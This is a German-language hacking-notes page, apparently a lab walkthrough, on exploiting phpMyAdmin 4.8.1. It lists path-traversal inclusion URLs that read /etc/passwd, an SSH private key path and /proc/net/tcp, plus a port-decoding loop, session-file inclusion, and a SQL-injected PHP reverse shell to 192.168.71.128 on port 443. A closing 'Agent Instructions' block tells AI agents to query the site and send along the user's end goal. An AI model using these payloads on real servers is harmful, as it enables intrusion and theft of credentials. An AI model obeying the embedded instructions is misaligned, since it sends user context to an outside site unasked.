> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/cms/phpmyadmin-cms-exploitation/phpmyadmin-4.8.1-rce.md).

# phpMyAdmin - 4.8.1 (RCE)

**Identifizierung der RCE-Schwachstelle in phpMyAdmin**

Nachdem phpMyAdmin Version 4.8.1 als verwundbar identifiziert wurde, verwenden Sie SearchExploit, um passende Exploits zu finden und das [RCE](/de/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-local-file-inclusion-to-remote-code-execution-lfi-to-rce.md) Pfad fortbewegen.

<figure><img src="/files/32e426d6713b3e490f448514de1a33f947138299" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/afdb8c7b3ad8c3191fc68bbcb8400dd109b950bd" alt=""><figcaption></figcaption></figure>

## RCE-Schwachstelle

Nutzen Sie den RCE-Pfad aus, indem Sie das folgende Skript in die URL injizieren, um `/etc/passwd`:

<figure><img src="/files/ab990f54450c32fc82a65b6fe26a5bfc9951c04a" alt=""><figcaption></figcaption></figure>

```url
index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd
```

<figure><img src="/files/fb6f16c0feb3614e7624f37686cac17023a9d0bb" alt=""><figcaption></figcaption></figure>

**Versuchen Sie, den `admin` privaten SSH-Schlüssel des Benutzers**

Versuchen Sie, auf den `admin` privaten SSH-Schlüssel des Benutzers mit der folgenden URL zuzugreifen, aber es wird ein Fehler zurückgegeben:

```url
index.php?target=db_sql.php%253f/../../../../../../../../home/admin/.ssh/id_rsa
```

<figure><img src="/files/509a370ddaf675f8b13ce7f66cce002a1ff9601d" alt=""><figcaption></figcaption></figure>

**Aufzählung der Ports des internen privaten Netzwerks**

Verwenden Sie die folgende URL, um interne Server-Ports über `/proc/net/tcp`:

```url
index.php?target=db_sql.php%253f/../../../../../../../../proc/net/tcp
```

<figure><img src="/files/9263f6225cb1fb1590f9266e1d8b66dbe5c7d1cb" alt=""><figcaption></figcaption></figure>

Speichern Sie diese Ports in einer `Daten` Datei zur späteren Analyse.

```bash
for port in $(cat data | awk '{print $2}' | awk '{print $2}' FS=":" | sort -u); do echo "[+] Port $port -> $((0x$port))"; done
```

<figure><img src="/files/f8fac42c3c2c49ee5b144220e65176d75d778bd4" alt=""><figcaption></figcaption></figure>

**Identifizierung des Verzeichnisses, das die phpMyAdmin-Sitzungen enthält**

Durch Überprüfung des Skripts identifizieren Sie das Verzeichnis, das die phpMyAdmin-Sitzungen enthält:

```url
/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/sessions/sess_{}
```

<figure><img src="/files/398b90c2a757803c81340908b44b771e644442e2" alt=""><figcaption></figcaption></figure>

## Command Injection in phpMyAdmin

**Verwendung des phpMyAdmin-Session-Cookies für Command Injection**

<figure><img src="/files/b29c81751b24cb7f412dac9f0ffedd8fbd227cc5" alt=""><figcaption></figcaption></figure>

```url
index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/session/sess_38f8d56u6em5usl5fd9s9v3pe66qh7v1
```

<figure><img src="/files/c510d9127ddf11071d4b4eaeb3462e0d4d658733" alt=""><figcaption></figcaption></figure>

#### Diese Datei interpretiert Befehle aus den Abfragen.

```sql
SELECT 'testing';
```

<figure><img src="/files/58480e6ea12928c7df09489090ff708b01d70f96" alt=""><figcaption></figcaption></figure>

**SQL-Befehlsinjektion, um einen** [**Reverse Shell**](https://www.revshells.com/)**:**

```sql
select '<?php system("bash -i >& /dev/tcp/192.168.71.128/443 0>&1"); ?>';
```

**Der Zugriff auf die Maschine gelingt schließlich:**

<figure><img src="/files/450294e812f1e213de07c40c8af87fb8e47cbbd6" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/cms/phpmyadmin-cms-exploitation/phpmyadmin-4.8.1-rce.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
